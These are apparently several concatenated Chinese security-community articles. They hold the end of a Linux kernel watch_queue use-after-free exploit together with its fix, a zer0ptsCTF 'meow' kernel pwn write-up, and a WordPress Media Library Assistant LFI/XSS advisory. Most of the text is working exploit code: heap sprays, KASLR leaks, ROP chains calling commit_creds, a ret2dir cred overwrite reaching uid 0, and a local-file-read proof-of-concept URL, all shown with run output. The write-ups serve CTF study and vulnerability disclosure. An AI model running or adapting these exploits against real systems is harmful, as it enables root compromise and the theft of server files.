puts("[*] arbitrary read on primary msg of msg nearby victim");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
errExit("failed to rehit the UAF object!");
// cal the addr of UAF obj by the header we just read out
nearby_msg_prim = (struct msg_msg*)
&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = nearby_msg_prim->m_list.next - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n",
nearby_msg_prim->m_list.next);
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);
/*
* Step.IV
* fix the header of UAF obj and release it
* spray pipe_buffer and leak the kernel base
*/
puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");
// re-construct the msg_msg to fix it
puts("[*] fixing the UAF obj as a msg_msg...");
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
buildMsg((struct msg_msg *)fake_secondary_msg,
victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid
VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg),
0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// release UAF obj as secondary msg
puts("[*] release UAF obj in message queue...");
if (readMsg(msqid[victim_qid], &secondary_msg,
sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
errExit("failed to receive secondary msg!");
// spray pipe_buffer
puts("[*] spray pipe_buffer...");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");
// write something to activate it
if (write(pipe_fd[i][1], "arttnba3", 8) < 0)
errExit("failed to write the pipe!");
}
// release the sk_buff to read pipe_buffer, leak kernel base
puts("[*] release sk_buff to read pipe_buffer...");
pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n",
pipe_buf_ptr->ops);
kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}
printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n",
kernel_base, kernel_offset);
/*
* Step.V
* hijack the ops of pipe_buffer
* free all pipe to trigger fake ptr
* so that we hijack the RIP
* construct a ROP on pipe_buffer
*/
puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");
puts("[*] pre-construct data in userspace...");
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->ops = victim_addr;
ops_ptr = (struct pipe_buf_operations *) fake_secondary_msg;
ops_ptr->release = 0xffffffff8183b4d3 + kernel_offset;// push rsi ; pop rsp ; add [rbp-0x3d],bl ; ret
ops_ptr->confirm = 0xffffffff81689ea4 + kernel_offset;// pop rdx ; pop r13 ; pop rbp ; ret
rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;
puts("[*] spray sk_buff to hijack pipe_buffer...");
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
puts("[*] trigger fake ops->release to hijack RIP...");
for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}
运行即可完成提权
# 0x03.漏洞修复
该漏洞在内核主线的 [这个
commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb)
中被修复，这个 commit 增加的修改比较多，我们主要关注对于该漏洞其改变的部分：
@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/* Ignore any unknown types */
- if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+ if (tf[i].type >= WATCH_TYPE__NR)
continue;
nr_filter++;
}
@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
q = wfilter->filters;
for (i = 0; i < filter.nr_filters; i++) {
- if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+ if (tf[i].type >= WATCH_TYPE__NR)
continue;
q->type = tf[i].type;
* 修复了前后判定不一致的问题
* 将 type 的范围限定为 `WATCH_TYPE__NR`（值为 2）
笔者个人认为这个修复还是比较成功的 | 社区文章 |
# 2020-zer0ptsCTF-meow
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 信息收集
start.sh qemu 启动脚本如下：
#!/bin/sh
qemu-system-x86_64
-m 256M
-kernel ./bzImage
-initrd ./rootfs.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet"
-cpu kvm64,+smep,+smap
-monitor /dev/null
-nographic -s
可见开启了 SMEP、SMAP、KASLR；
参数 `-cpu kvm64,+smep` 表示开启了KPTI，关于查看KPTI是否开启还有如下方法：
/ # dmesg | grep 'page table'
[ 0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : ... pti smep smap
提取文件系统后查看目标驱动和内核保护：
$ checksec vmlinux
[*] '/home/ivan/kernel/meow/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
$ checksec memo.ko
[*] '/home/ivan/kernel/meow/memo.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
init 系统启动脚本如下：
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown root:root /flag
chmod 400 /flag
insmod /root/memo.ko
mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0
echo -e "nBoot took $(cut -d' ' -f1 /proc/uptime) secondsn"
cat /root/banner
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f
可见开启了`kptr_restrict`并且禁用了`dmesg`
查看目标内核版本：
/ $ cat /proc/version
Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #2 SMP Wed Feb 5 21:57:51 JST 2020
## 环境搭建
在用 `make menuconfig` 配置 `.config` 前，先用 `make defconfig` 创建一个默认配置的 `.config`
文件。否则 `make menuconfig` 会先在 `/boot/` 目录中查找之前的`.config`文件：
$ make menuconfig
scripts/kconfig/mconf Kconfig
#
# using defaults found in /boot/config-5.3.0-40-generic
#
...
## 关键函数分析&漏洞点
`mod_write`: 首先通过 `fd->f_pos`获取文件当前的读写位置，要求 `pos` 小于0x400，之后会以
`pos`为偏移向内核内存空间中写入给定长度的`buf` 数据。
unsigned __int64 __fastcall mod_write(__int64 fd, __int64 buf, unsigned __int64 ntype, _QWORD *offset)
{
unsigned __int64 pos; // rdi
unsigned __int64 result; // rax
_QWORD *v6; // rbp
unsigned __int64 v7; // rbx
pos = *(_QWORD *)(fd + 104); // fd->f_pos
result = 0LL;
if ( pos <= 0x3FF )
{
v6 = offset;
v7 = ntype;
if ( ntype > 0x400 )
v7 = 0x400LL - *offset;
if ( copy_from_user(&memo[pos], buf, v7) )
{
result = -14LL;
}
else
{
*v6 += v7;
result = v7;
}
}
return result;
}
`mod_llseek`：主要作用为更新 `fd->pos`的值，当 whence 为 1 时，将文件位置设置为当前位置加上偏移；当 whence 为 2
时，设置文件位置为堆块大小加上偏移字节。
signed __int64 __fastcall mod_llseek(__int64 fd, signed __int64 offset, int whence)
{
signed __int64 result; // rax
if ( whence == 1 )
{
result = offset + *(_QWORD *)(fd + 104);
}
else if ( whence == 2 )
{
result = offset + strlen(memo);
}
else
{
if ( whence )
return -22LL;
result = offset;
}
if ( result < 0 )
return -22LL;
*(_QWORD *)(fd + 104) = result;
return result;
}
漏洞点在两个读写函数，以 `mod_write()`为例，调用栈如下：
► f 0 ffffffffc0000010 mod_write
f 1 ffffffff811b5f81 __vfs_write+49
f 2 ffffffff811b6268 vfs_write+168
f 3 ffffffff811b64e5 ksys_write+85
f 4 ffffffff810024d3 do_syscall_64+67
f 5 ffffffff81a00078 entry_SYSCALL_64+104
可见当 `mod_write()` 执行结束返回到 `ksys_write()` 时，正常情况下会调用 `file_pos_write()`
更新文件当前位置 `file->f_pos` 的值，代码如下：
//fs/read_write.c#L592
ssize_t ksys_write(unsigned int fd, const char __user *buf, size_t count)
{
struct fd f = fdget_pos(fd);
ssize_t ret = -EBADF;
if (f.file) {
loff_t pos = file_pos_read(f.file);
ret = vfs_write(f.file, buf, count, &pos);
if (ret >= 0)
file_pos_write(f.file, pos);
fdput_pos(f);
}
return ret;
}
//fs/read_write.c#L566
static inline void file_pos_write(struct file *file, loff_t pos)
{
if ((file->f_mode & FMODE_STREAM) == 0)
file->f_pos = pos;
}
返回题目中的代码，可以发现：若第一次写入 0x3FF 大小数据 ，`fd->pos=0x3FF`，第二次写入时的 `fd->pos`值还是 0x3FF
，通过验证，而堆块大小为0x400，造成了堆溢出。可以通过 `mod_read()` ， `mod_write()` 实现越界读写。
> 在搭建环境时发现，若内核在编译前加上 `CONFIG_HARDENED_USERCOPY=y` ，则会在 `copy_from_user,
> copy_to_user` 前加上 `check_object_size(from, n, true);`
> 这样一个检查，作用是验证地址有效性、检查是否有堆栈或SLAB的越界读写。即使出现题目中的堆溢出，也只能造成crash，无法利用。
> 编译前加上 `CONFIG_SLAB_FREELIST_HARDENED=y`，free_list中指针会以 `ptr ^ s->random ^
> ptr_addr` 这种方式进行混淆，从而导致无法泄露堆地址；但该保护措施有缺陷可以绕过，详见参考[4]。
## 方法一
### 利用思路
起初的思路是堆溢出修改 `tty_struct` 劫持 `ioctl` 指针，覆写cr4 关闭 SMEP、SMAP后，进行栈迁移直接ret2usr。但在编写
ROP chain 时发现当调用用户态代码的时候内核会报如下错误 ：`BUG: unable to handle kernel paging request
at 0000000000400eaa`。关闭 KPTI 后，exp能成功执行。印象中的 KPTI
将用户空间页表与内核空间页表进行了隔离，但最终目的是为了防止用户空间获取内核数据。查看官方文档后（参考[5]），发现下面一段话：
> Another potential vulnerability comes about if the kernel can ever be
> manipulated into returning to user space without switching back to the
> sanitized PGD. Since the kernel-space PGD also maps user-space memory, such
> an omission could go unnoticed for some time. The response here is to map
> the user-space portion of the virtual address space as non-executable in the
> kernel PGD. Should user space ever start running with the wrong page tables,
> it will immediately crash as a result.
即在KPTI中，所有用户空间页面都以 NX （不可执行）映射到内核页面表中。 实现了与SMEP非常相似的功能。
虽然限制了不能执行用户空间的代码，但仍然可以将内核栈迁移到用户空间中 。这里只是为了获取 flag 的值，可以不用获得一个交互shell，只需将 flag
权限修改为 777 ，之后让程序 sleep 0x1000000 秒 ，这样做的好处是，就算程序在退出前崩溃也可以在 sleep 的时间内去获取 flag
值。:)
### exp
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define KERNELCALL __attribute__ ((regparm(3)))
void (* commit_creds)(void *) KERNELCALL;
size_t* (* prepare_kernel_cred)(void *) KERNELCALL;
size_t commit_creds_addr=0,prepare_kernel_cred_addr=0;
struct skewBuf{
unsigned char padding;
unsigned long vec[127];
unsigned char pading[7];
} __attribute__((packed));
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[x] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
//info("saving status...n");
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
//msg("status has been savedn");
}
void mod_write(int fd,void* buf,size_t nbyte){
size_t result;
//info("mod_write ... n");
result = write(fd,buf,nbyte);
if(result<=0){
fail("mod_write failed!n");
exit(-1);
}
}
void mod_llseek(int fd,off_t offset, int whence){
size_t result;
//info("mod_llseek ... n");
result = lseek(fd,offset,whence);
//msg("mod_llseek result:0x%lxn",result);
}
void mod_read(int fd,void *buf,size_t nbyte){
size_t result;
//info("mod_read ... n");
result = read(fd,buf,nbyte);
if(result<=0){
fail("mod_read failed!n");
exit(-1);
}
}
size_t vmlinux_base = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_do_tty_hangup = 0xffffffff8140f6b0;
size_t raw_commit_creds = 0xffffffff8107b8b0;
size_t raw_prepare_kernel_cred = 0xffffffff8107bb50;
size_t raw_regcache_mark_dirty = 0xffffffff81588fd0;
size_t raw_x64_sys_chmod = 0xffffffff8119fcd0;
size_t raw_msleep = 0xffffffff810c4740;
size_t raw_pop_rdi = 0xffffffff81001268; //pop rdi; ret;
size_t raw_pop_rdx = 0xffffffff81043137; //pop rdx; ret;
size_t raw_pop_rcx = 0xffffffff8104c852; //pop rcx; ret;
size_t raw_mov_rdi_rax = 0xffffffff810cecce; //mov rdi, rax; cmp r8, rdx; jne 0x2cecb3; ret;
size_t raw_pop_rax = 0xffffffff81023301;//pop rax; ret;
size_t raw_mov_rdi_rbx = 0xffffffff827862bc; //mov rdi, rbx; call rax;
size_t raw_pop_rsi = 0xffffffff81001b79; //pop rsi; ret;
size_t raw_push_rax = 0xffffffff81022353;//push rax; ret;
size_t raw_pop_rdi_call = 0xffffffff81f234e2; //pop rdi; call rcx;
size_t base_add(size_t addr){
return addr - raw_vmlinux_base + vmlinux_base;
}
int main(){
char tmp_buf[0x3ff];
struct skewBuf buf;
int i;
size_t rop[0x50];
char* flag_str = "/flag";
save_status();
size_t fd = open("/dev/memo",O_RDWR);
if(fd == -1){
fail("memo open failed!n");
}
memset(tmp_buf,'A',sizeof(tmp_buf));
mod_write(fd,tmp_buf,sizeof(tmp_buf));
mod_read(fd,&buf,sizeof(buf));
size_t heap_addr = buf.vec[0]-0x400;
msg("leak heap addr: %pn",(void*)heap_addr);
size_t tty_fd = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if(tty_fd == -1){
fail("ptmx open failed!n");
}
mod_llseek(fd,0x3ff,0);
mod_read(fd,&buf,sizeof(buf));
size_t do_tty_hangup = buf.vec[0x4a];
vmlinux_base = do_tty_hangup - raw_do_tty_hangup + raw_vmlinux_base;
msg("do_tty_hangup addr: %pn",(void*)do_tty_hangup);
msg("vmlinux_base addr: %pn",(void*)vmlinux_base);
mod_llseek(fd,0x3ff,0);
size_t rop_base = heap_addr+0x2e0;
buf.vec[3] = rop_base;
buf.vec[0x2e0/8+0xc] = base_add(raw_regcache_mark_dirty);//ioctl
buf.vec[0x20/8] = base_add(raw_mov_cr4_rdi);
buf.vec[0x30/8] = 0x6f0;
size_t xchg_eax_esp = base_add(raw_xchg_eax_esp);
buf.vec[0x28/8] = xchg_eax_esp;
size_t base = xchg_eax_esp & 0xfffff000;
if(base != mmap(base,0x3000,7,MAP_PRIVATE | MAP_ANONYMOUS,-1,0)){
fail("mmap failed!n");
exit(-1);
}
msg("base address:0x%llxn",base);
size_t pop_rdi = base_add(raw_pop_rdi);
size_t pop_rdx = base_add(raw_pop_rdx);
size_t mov_rdi_rax = base_add(raw_mov_rdi_rax);
size_t pop_rsi = base_add(raw_pop_rsi);
i=0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = pop_rdx;
rop[i++] = 0x100000001;
rop[i++] = mov_rdi_rax;
rop[i++] = commit_creds_addr;
rop[i++] = pop_rdi;
rop[i++] = 0xffffff9c;
rop[i++] = pop_rsi;
rop[i++] = flag_str;
rop[i++] = pop_rdx;
rop[i++] = 0777;
rop[i++] = base_add(raw_x64_sys_chmod)+0xd;
rop[i++] = pop_rdi;
rop[i++] = 0x1000000;
rop[i++] = base_add(raw_msleep);
memcpy(xchg_eax_esp & 0xffffffff,rop,sizeof(rop));
mod_write(fd,&buf,sizeof(buf));
ioctl(tty_fd,0,0);
return 0;
}
运行效果如下：
ivan@ubuntu:~/kernel/meow$ sudo ./start.sh
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ls -al | grep flag
-r-------- 1 root root 28 Mar 8 09:26 flag
/ $ ./exp &
/ $ [*] leak heap addr: 0xffff8aca0db56c00
[*] do_tty_hangup addr: 0xffffffffafe0f6b0
[*] vmlinux_base addr: 0xffffffffafa00000
[*] base address:0xafa12000
ls -al | grep flag
-rwxrwxrwx 1 root root 28 Mar 8 09:26 flag
/ $ cat flag
zer0pts{*****CENSORED*****}
## 方法二
### 利用思路
另一种方法是总结参考[1]中作者思路，他找到两个gadget：
write_gadget: mov dword ptr [rdx], esi; ret;
read_gadget: mov rax, qword ptr [rdx + 0x28]; ret;
可以将这两个 gadget 与劫持 `ioctl` 指针结合达到任意地址读写的目的。
具体步骤如下：
* 利用堆溢出漏洞修改 SLAB 堆指针，使得下次分配堆块到一个较低的地址；
* ret2dir，使用physmap spray 使得用户空间地址与内核空间地址映射出现重叠（即两块或者多块虚拟内存映射到同一块物理内存），之后打开 ptmx 设备使得该设备的 `tty_struct` 结构体落入重叠区域；遍历 physmap 找到该设备所在页，此时该页面大概率与用户空间地址重合；
* 之后修改 `ops` 指针到 `memo` 所在内存，并在其中构造 `tty_operations` 结构体；
* 请求 ptmx 创建一个pts；遍历 `init_task` 找到当前进程，通过任意地址读写修改当前进程 `cred` 结构改写uid值为0；
* 读取 flag 文件。
个人认为physmap spray 这个步骤可以省略，直接通过方法一的方式堆溢出修改 `tty_struct` 结构体即可。不过ret2dir
可以不用修改cr4寄存器达到绕过 SMEP/SMAP的目的。
### exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <pty.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#define LOG(f_, ...) printf(("[*] " f_), __VA_ARGS__)
#define SPRAY_CNT 32*32*32 // 4K*32*32*32=128M
#define PAGESIZE 0x1000 //4k
#define TASKS_OFFSET 0x388
#define CRED_OFFSET 0x620
#define PID_OFFSET 0x488
void *sprayed_pages[SPRAY_CNT];
char zeropage[PAGESIZE];
int fd;
int slave_fd;
unsigned long kernel_base;
unsigned long r_gadget;
unsigned long w_gadget;
unsigned long init_task;
unsigned long setup_disble_smap;
unsigned long ftable[0x80];
struct skewBuf {
unsigned char blank;
unsigned long vec[127];
unsigned char leftover[7];
} __attribute__((packed));
int Open(const char *fname, int mode) {
int fd = open(fname, mode);
if (fd < 0) {
perror("open");
exit(-1);
}
return fd;
}
size_t Read(int fd, void *buf, size_t nbytes) {
size_t nb = read(fd, buf, nbytes);
if (nb != nbytes) {
perror("read");
exit(-1);
}
return nb;
}
size_t Write(int fd, void *buf, size_t nbytes) {
size_t nb = write(fd, buf, nbytes);
if (nb != nbytes) {
perror("write");
exit(-1);
}
return nb;
}
void physmap_spray() {
int i;
void *mp;
for (i = 0; i < SPRAY_CNT; i++)
{
if ((mp = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0 )) == MAP_FAILED) {
perror("mmap");
exit(-1);
}
sprayed_pages[i] = mp;
}
}
unsigned long get_pfn(void *pg) {
unsigned long pginfo;
int fd = Open("/proc/self/pagemap", O_RDWR);
if (lseek(fd, ((off_t)pg >> 12) * sizeof(pginfo), SEEK_SET) < 0) {
perror("lseek");
exit(-1);
}
if (read(fd, &pginfo, sizeof(pginfo)) < 0) {
perror("read");
exit(-1);
}
close(fd);
unsigned long pfn = pginfo & 0x7fffffffffffff;
return pfn;
}
void list_pfn() {
int i;
for (i = 0; i < SPRAY_CNT; i++) {
printf("PFN[%d] = %lxn", i, get_pfn(sprayed_pages[i]));
}
}
void *page_hit() {
int i;
for (i = 0; i < SPRAY_CNT; i++) {
if (memcmp(sprayed_pages[i], zeropage, PAGESIZE)) {
return sprayed_pages[i];
}
}
return NULL;
}
int get_ptmx_slave(int ptmx_fd) {
const char *pts_name;
if (grantpt(ptmx_fd) < 0) {
perror("grantpt");
exit(-1);
}
if (unlockpt(ptmx_fd) < 0) {
perror("unlockpt");
exit(-1);
}
pts_name = (const char *)ptsname(ptmx_fd);
return Open(pts_name, O_RDWR|O_NOCTTY);
}
unsigned int sys_ioctl(int fd, int cmd, unsigned long aux) {
asm volatile("mov $16, %rax");
asm volatile("syscall");
}
void write32(unsigned int what, unsigned long where) {
ftable[0] = kernel_base + 0xffffffff81419300 - 0xffffffff80e00000;
ftable[3] = kernel_base + 0xffffffff81418e60 - 0xffffffff80e00000;
ftable[12] = w_gadget;//ioctl
lseek(fd, 0, SEEK_SET);
Write(fd, ftable, 0x400);
ioctl(slave_fd, (what), (where));
}
unsigned int read32(unsigned long where) {
ftable[0] = kernel_base + 0xffffffff81419300 - 0xffffffff80e00000;
ftable[3] = kernel_base + 0xffffffff81418e60 - 0xffffffff80e00000;
ftable[12] = r_gadget;
lseek(fd, 0, SEEK_SET);
Write(fd, ftable, 0x400);
return sys_ioctl(slave_fd, 0x1, where - 0x28);
}
void write64(unsigned long what, unsigned long where) {
unsigned long part;
part = what & 0xFFFFFFFF;
write32((unsigned int )part, where);
part = what >> 32;
write32((unsigned int )part, where + 4);
}
unsigned long read64(unsigned long where) {
unsigned long p1, p2;
p1 = read32(where);
p2 = read32(where + 4);
return p1 | (p2 << 32);
}
int check_page(unsigned long addr) {
unsigned long page[0x101];
int i;
for (i = 0; i < 0x101; i++) {
page[i] = read64(addr + i*8);
}
for (i = 0; i < 0x100; i++) {
if (((page[i] & 0xff) != 0x67) || (!(page[i] >> 63))) {
return 0;
}
}
return page[0x100] == 0;
}
int main(int argc, char **argv) {
char trash[0x3FF];
struct skewBuf buf;
int i;
assert(sizeof(buf) == 0x400);
memset(trash, 0xcc, sizeof(trash));
// open the device
fd = Open("/dev/memo", O_RDWR);
// leak a SLAB address
Write(fd, trash, sizeof(trash));
Read(fd, &buf, sizeof(buf));
unsigned long heapAddr = buf.vec[0];
LOG("Got a kernel heap leak: %pn", (void *)heapAddr);
// overwrite the fd of next chunk to a 'guess'ed physmap address
lseek(fd, 0x3FF, SEEK_SET);
buf.vec[0] = heapAddr & 0xffffffffff000000;
LOG("tty_struct will be allocated at address: %pn", (void *)buf.vec[0]);
Write(fd, &buf, sizeof(buf));
// physmap spray
physmap_spray();
// allocate a ptmx object, it will be allocated to userspace mmap pages
int tty_fd = Open("/dev/ptmx", O_RDWR|O_NOCTTY);
unsigned long*pg = page_hit();
if (!pg) {
puts("[-] failed to get a tty_struct allocated in one of our pages");
exit(-1);
}
LOG("now page %p is synonymous with tty_struct of fd %dn", pg, tty_fd);
// create fake fops
// 0xffffffff810a0333: mov dword ptr [rdx], esi; ret;
// 0xffffffff81051543: mov rax, qword ptr [rdx + 0x28]; ret;
unsigned long fops = pg[3];
kernel_base = fops - 0xffffffff81e65800 + 0xffffffff80e00000;
w_gadget = kernel_base + 0xffffffff810a0333 - 0xffffffff80e00000;
r_gadget = kernel_base + 0xffffffff81051543 - 0xffffffff80e00000;
init_task = kernel_base + 0xFFFFFFFF82211740 - 0xffffffff80e00000;
setup_disble_smap = kernel_base + 0xffffffff8a98f556 - 0xffffffff80e00000;
for (i = 0; i < 0x80; i++) {
ftable[i] = 0xdead0000 + i;
}
ftable[0] = kernel_base + 0xffffffff81419300 - 0xffffffff80e00000;//tty_struct ptr
ftable[3] = kernel_base + 0xffffffff81418e60 - 0xffffffff80e00000;//open
ftable[4] = kernel_base + 0xffffffff814191a0 - 0xffffffff80e00000;//close
lseek(fd, 0, SEEK_SET);
Write(fd, ftable, 0x400);
LOG("fops is located at: %pn", (void *)fops);
LOG("kernel base: %pn", (void *)kernel_base);
pg[3] = heapAddr - 0x800; // memo address
// enjoy arbitrary read and write
slave_fd = get_ptmx_slave(tty_fd);
// read page offset base
unsigned long cur = init_task, cred;
unsigned int pid;
unsigned int this_pid = getpid();
while(1) {
pid = read32(cur + PID_OFFSET);
if (pid == this_pid) {
cred = read64(cur + CRED_OFFSET);
LOG("Found current process(pid=%d)'s cred struct %pn", pid, (void *)cred);
LOG("original uid=%d, gid=%d. now escalating to rootn", read32(cred + 4), read32(cred + 8));
write64(0x0, cred + 4);
write64(0x0, cred + 12);
write64(0x0, cred + 20);
write64(0x0, cred + 28);
LOG("now i am uid=%dn", getuid());
break;
}
cur = read64(cur + TASKS_OFFSET) - TASKS_OFFSET;
}
char flag[0x100];
FILE *fp = fopen("/flag", "r");
if (!fp) {
perror("fopen");
exit(-1);
}
fgets(flag, sizeof(flag), fp);
printf("flag: %sn", flag);
return 0;
}
运行效果如下：
ivan@ubuntu:~/kernel/meow$ sudo ./start.sh
/ $ ./exp
[*] Got a kernel heap leak: 0xffff88800daed000
[*] tty_struct will be allocated at address: 0xffff88800d000000
[*] now page 0x7fb11234c000 is synonymous with tty_struct of fd 4
[*] fops is located at: 0xffffffff81e65800
[*] kernel base: 0xffffffff80e00000
[*] Found current process(pid=1033)'s cred struct 0xffff88800ee56cc0
[*] original uid=1000, gid=1000. now escalating to root
[*] now i am uid=0
flag: zer0pts{*****CENSORED*****}
## 参考资料
[1] <https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of-tty-in-the-linux-kernel.html>
[2] <https://nanxiao.me/en/why-doesnt-linux-device-driver-need-to-update-file-position-in-readwrite-functions/>
[3] <https://cateee.net/lkddb/web-lkddb/HARDENED_USERCOPY.html>
[4] <https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html>
[5] <https://lwn.net/Articles/741878/>
[6] <https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep> | 社区文章 |
# Wordpress 插件 Media Library Assistant 2.81-(LFI和xss)
## 前言
个人觉得漏洞威胁不算太大，但也作为一个弱鸡的学习经历将其记录下来
Media Library Assistant用于进行图像和文件管理
## 影响版本
<2.82
漏洞版本下载地址：<https://downloads.wp.xz.cn/plugin/media-library-assistant.2.81.zip>
## LFI
漏洞位置：
`/media-library-assistant/includes/mla-file-downloader.php`
引入class-mla-file-downloader.php，且注意下文的两个参数：`mla_download_file`和`mla_download_type`以及方法：`mla_process_download_file()`
跟入`mla_process_download_file()`，注意到：
$file_name = $args['mla_download_file'];
$match_name = str_replace( '\\', '/', $file_name );
$base_dir = pathinfo( __FILE__, PATHINFO_DIRNAME );
$match_dir = str_replace( '\\', '/', $base_dir );
$allowed_path = substr( $match_dir, 0, strpos( $match_dir, 'plugins' ) );
if ( 0 !== strpos( $match_name, $allowed_path ) ) {
$message = 'ERROR: download path out of bounds.';
} elseif ( false !== strpos( $match_name, '..' ) ) {
$message = 'ERROR: download path invalid.';
}
} else {
$message = 'ERROR: download argument(s) not set.';
可以看出为了防止目录穿越对`..`进行了过滤，只能读取plugin目录下的内容，这么来看，可能可以读取插件目录下的某些信息但利用效果似乎不大
然后就可以进行下载：
if ( empty( $message ) ) {
header('Pragma: public'); // required
header('Expires: 0'); // no cache
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Last-Modified: '.gmdate ( 'D, d M Y H:i:s', filemtime ( $file_name ) ).' GMT');
header('Cache-Control: private',false);
header('Content-Type: '.$args['mla_download_type']);
poc：
http://127.0.0.1/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\phpstudy\PHPTutorial\WWW\wordpress\wp-content\plugins\rest-api\extras.php
该漏洞不需要授权
## 修复
在2.82版本中，直接禁止了这一行为：
## xss
前提： **admin角色**
在`设置/Media Library Assistant`的所有标签的搜索框存在xss
如`views`标签：includes/class-mla-settings-view-tab.php：
s参数即是注入点，无过滤
触发:
